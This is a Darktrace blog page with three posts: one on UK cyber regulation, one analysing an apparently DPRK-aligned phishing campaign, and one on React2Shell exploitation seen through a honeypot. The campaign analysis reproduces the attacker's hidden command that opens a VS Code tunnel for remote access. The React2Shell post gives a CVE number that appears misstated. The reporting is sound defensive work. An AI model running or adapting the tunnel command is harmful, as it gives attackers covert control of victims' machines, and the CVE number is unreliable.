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June 5, 2025

Modernising UK Cyber Regulation: Implications of the Cyber Security and Resilience Bill

The UK Government’s upcoming Cyber Security and Resilience Bill (CSRB) will modernise the UK’s 2018 NIS regime, extend regulatory duties to managed service providers and data‑centre operators, and tighten supply‑chain oversight. This blog explains the policy intent and outlines practical implications for service providers and enterprise security leaders.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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The Darktrace Community
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05
Jun 2025

The need for security and continued cyber resilience

The UK government has made national security a key priority, and the new Cyber Security and Resilience Bill (CSRB) is a direct reflection of that focus. In introducing the Bill, Secretary of State for Science, Innovation and Technology, Peter Kyle, recognised that the UK is “desperately exposed” to cyber threats—from criminal groups to hostile nation-states that are increasingly targeting the UK's digital systems and critical infrastructure[1].

Context and timeline for the new legislation

First announced during the King’s Speech of July 2024, and elaborated in a Department for Science, Innovation and Technology (DSIT) policy statement published in April 2025, the CSRB is expected to be introduced in Parliament during the 2025-26 legislative session.

For now, organisations in the UK remain subject to the 2018 Network and Information Systems (NIS) Regulations – an EU-derived law which was drafted before today’s increasing digitisation of critical services, rise in cloud adoption and emergence of AI-powered threats.

Why modernisation is critical

Without modernisation, the Government believes UK’s infrastructure and economy risks falling behind international peers. The EU, which revised its cybersecurity regulation under the NIS2 Directive, already imposes stricter requirements on a broader set of sectors.

The urgency of the Bill is also underscored by recent high-impact incidents, including the Synnovis attack which targeted the National Health Service (NHS) suppliers and disrupted thousands of patient appointments and procedures[2]. The Government has argued that such events highlight a systemic failure to keep pace with a rapidly evolving threat landscape[3].

What the Bill aims to achieve

This Bill represents a decisive shift. According to the Government, it will modernise and future‑proof the UK’s cyber laws, extending oversight to areas where risk has grown but regulation has not kept pace[4]. While the legislation builds on previous consultations and draws lessons from international frameworks like the EU’s NIS2 directive, it also aims to tailor solutions to the UK’s unique threat environment.

Importantly, the Government is framing cybersecurity not as a barrier to growth, but as a foundation for it. The policy statement emphasises that strong digital resilience will create the stability businesses need to thrive, innovate, and invest[5]. Therefore, the goals of the Bill will not only be to enhance security but also act as an enabler to innovation and economic growth.

Recognition that AI changes cyber threats

The CSRB policy statement recognises that AI is fundamentally reshaping the threat landscape, with adversaries now leveraging AI and commercial cyber tools to exploit vulnerabilities in critical infrastructure and supply chains. Indeed, the NCSC has recently assessed that AI will almost certainly lead to “an increase in the frequency and intensity of cyber threats”[6]. Accordingly, the policy statement insists that the UK’s regulatory framework “must keep pace and provide flexibility to respond to future threats as and when they emerge”[7].

To address the threat, the Bill signals new obligations for MSPs and data centres, timely incident reporting and dynamic guidance that can be refreshed without fresh primary legislation, making it essential for firms to follow best practices.

What might change in day-to-day practice?

New organisations in scope of regulation

Under the existing Network and Information Systems (NIS) Regulations[8], the UK already supervises operators in five critical sectors—energy, transport, drinking water, health (Operators of Essential Services, OES) and digital infrastructure (Relevant Digital Service Providers, RDSPs).

The Cyber Security and Resilience Bill retains this foundation and adds Managed Service Providers (MSPs) and data centres to the scope of regulation to “better recognise the increasing reliance on digital services and the vulnerabilities posed by supply chains”[9]. It also grants the Secretary of State for Science, Innovation and Technology the power to add new sectors or sub‑sectors via secondary legislation, following consultation with Parliament and industry.

Managed service providers (MSPs)

MSPs occupy a central position within the UK’s enterprise information‑technology infrastructure. Because they remotely run or monitor clients’ systems, networks and data, they hold privileged, often continuous access to multiple environments. This foothold makes them an attractive target for malicious actors.

The Bill aims to bring MSPs in scope of regulation by making them subject to the same duties as those placed on firms that provide digital services under the 2018 NIS Regulations. By doing so, the Bill seeks to raise baseline security across thousands of customer environments and to provide regulators with better visibility of supply‑chain risk.

The proposed definition for MSPs is a service which:

  1. Is provided to another organisation
  2. Relies on the use of network and information systems to deliver the service
  3. Relates to ongoing management support, active administration and/or monitoring of AI systems, IT infrastructure, applications, and/or IT networks, including for the purpose of activities relating to cyber security.
  4. Involves a network connection and/or access to the customer’s network and information systems.

Data centres

Building on the September 2024 designation of data centres as critical national infrastructure, the CSRB will fold data infrastructure into the NIS-style regime by naming it an “relevant sector" and data centres as “essential service”[10].

About 182 colocation facilities run by 64 operators will therefore come under statutory duties to notify the regulator, maintain proportionate CAF-aligned controls and report significant incidents, regardless of who owns them or what workloads they host.

New requirements for regulated organisations

Incident reporting processes

There could be stricter timelines or broader definitions of what counts as a reportable incident. This might nudge organisations to formalise detection, triage, and escalation procedures.

The Government is proposing to introduce a new two-stage incident reporting process. This would include an initial notification which would be submitted within 24 hours of becoming aware of a significant incident, followed by a full incident report which should be submitted within 72 hours of the same.

Supply chain assurance requirements

Supply chains for the UK's most critical services are becoming increasingly complex and present new and serious vulnerabilities for cyber-attacks. The recent Synnovis ransomware attacks on the NHS[11] exemplify the danger posed by attacks against the supply chains of important services and organisations. This is concerning when reflecting on the latest Cyber Security Breaches survey conducted by DSIT, which highlights that fewer than 25% of large businesses review their supply chain risks[12].

Despite these risks, the UK’s legacy cybersecurity regulatory regime does not explicitly cover supply chain risk management. The UK instead relies on supporting and non-statutory guidance to close this gap, such as the NCSC’s Cyber Assessment Framework (CAF)[13].

The CSRB policy statement acts on this regulatory shortcoming and recognises that “a single supplier’s disruption can have far-reaching impacts on the delivery of essential or digital services”[14].

To address this, the Bill would make in-scope organisations (OES and RDPS) directly accountable for the cybersecurity of their supply chains. Secondary legislation would spell out these duties in detail, ensuring that OES and RDSPs systematically assess and mitigate third-party cyber risks.

Updated and strengthened security requirements

By placing the CAF into a firmer footing and backing it with a statutory Code of Practice, the Government is setting clearer expectations about government expectations on technical standards and methods organisations will need to follow to prove their resilience.

How Darktrace can help support affected organizations

Demonstrate resilience

Darktrace’s Self-Learning AITM continuously monitors your digital estate across cloud, network, OT, email, and endpoint to detect, investigate, and autonomously respond to emerging threats in real time. This persistent visibility and defense posture helps organizations demonstrate cyber resilience to regulators with confidence.

Streamline incident reporting and compliance

Darktrace surfaces clear alerts and automated investigation reports, complete with timeline views and root cause analysis. These insights reduce the time and complexity of regulatory incident reporting and support internal compliance workflows with auditable, AI-generated evidence.

Improve supply chain visibility

With full visibility across connected systems and third-party activity, Darktrace detects early indicators of lateral movement, account compromise, and unusual behavior stemming from vendor or partner access, reducing the risk of supply chain-originated cyber-attacks.

Ensure MSPs can meet new standards

For managed service providers, Darktrace offers native multi-tenant support and autonomous threat response that can be embedded directly into customer environments. This ensures consistent, scalable security standards across clients—helping MSPs address increasing regulatory obligations.

[related-resource]

References

[1] https://www.theguardian.com/uk-news/article/2024/jul/29/uk-desperately-exposed-to-cyber-threats-and-pandemics-says-minister

[2] https://www.england.nhs.uk/2024/06/synnovis-cyber-attack-statement-from-nhs-england/

[3] https://www.gov.uk/government/publications/cyber-security-and-resilience-bill-policy-statement/cyber-security-and-resilience-bill-policy-statement

[4] https://www.gov.uk/government/publications/cyber-security-and-resilience-bill-policy-statement/cyber-security-and-resilience-bill-policy-statement

[5] https://www.gov.uk/government/publications/cyber-security-and-resilience-bill-policy-statement/cyber-security-and-resilience-bill-policy-statement

[6] https://www.ncsc.gov.uk/report/impact-ai-cyber-threat-now-2027

[7] https://www.gov.uk/government/publications/cyber-security-and-resilience-bill-policy-statement/cyber-security-and-resilience-bill-policy-statement

[8] https://www.gov.uk/government/collections/nis-directive-and-nis-regulations-2018

[9] https://www.gov.uk/government/publications/cyber-security-and-resilience-bill-policy-statement/cyber-security-and-resilience-bill-policy-statement

[10] https://www.gov.uk/government/publications/cyber-security-and-resilience-bill-policy-statement/cyber-security-and-resilience-bill-policy-statement

[11] https://www.england.nhs.uk/2024/06/synnovis-cyber-attack-statement-from-nhs-england/

[12] https://www.gov.uk/government/statistics/cyber-security-breaches-survey-2025/cyber-security-breaches-survey-2025

[13] https://www.ncsc.gov.uk/collection/cyber-assessment-framework

[14] https://www.gov.uk/government/publications/cyber-security-and-resilience-bill-policy-statement/cyber-security-and-resilience-bill-policy-statement

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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote accessDefault blog imageDefault blog image

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

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Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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